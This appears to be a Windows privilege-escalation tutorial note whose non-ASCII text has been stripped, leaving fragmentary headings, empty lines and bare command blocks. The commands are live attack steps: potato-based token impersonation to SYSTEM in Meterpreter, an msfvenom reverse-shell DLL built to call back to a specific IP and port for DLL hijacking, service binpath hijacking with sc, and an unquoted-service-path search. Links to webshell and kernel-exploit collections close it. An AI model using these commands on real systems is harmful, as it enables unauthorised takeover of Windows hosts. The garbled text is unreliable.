



-

&dll

&

&



#

Web

Web

#

Web

#

Web

(Web)

#

dll

AlwaysInstallElevated

dll

AlwaysInstallElevated



Win2012-

-Web

Win2012-DLL

MSF-Web

Win2012-

MSF-

Win2012-

MSF-Web,

Windows

- , ,

```
# 1 Win2012- -Web ( )  
- - - SYSTEM-
```

```
upload /root/potato.exe C:\Users\Public  
cd C:\Users\Public  
use incognito  
list_tokens -u  
execute -cH -f ./potato.exe  
list_tokens -u  
impersonate_token "NT AUTHORITY\SYSTEM"
```

```
# 2 Win2012-DLL MSF-Web  
Windows DLL DLL  
DLL Windows DLL
```

```
1  
2 C:\Windows\System32  
3 C:\Windows\System  
4 C:\Windows  
5 Current Working Directory CWD  
6 PATH  
- - dll - dll-  
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/xiaodi.dll
```

```
# 3 Win2012- MSF-
```

```
- - -  
accesschk.exe -uwcqv "administrators" *  
sc config "NewServiceName" binpath="C:\Program.exe"  
sc start "NewServiceName"
```

```
# 4 Win2012- MSF-Web,  
Windows
```

```
- - -  
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\"
```

|findstr /i /v ""

Windows



<https://github.com/tennc/webshell>

<https://www.sdbeta.com/wg/2020/0628/235361.html>

<https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk>

<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075>
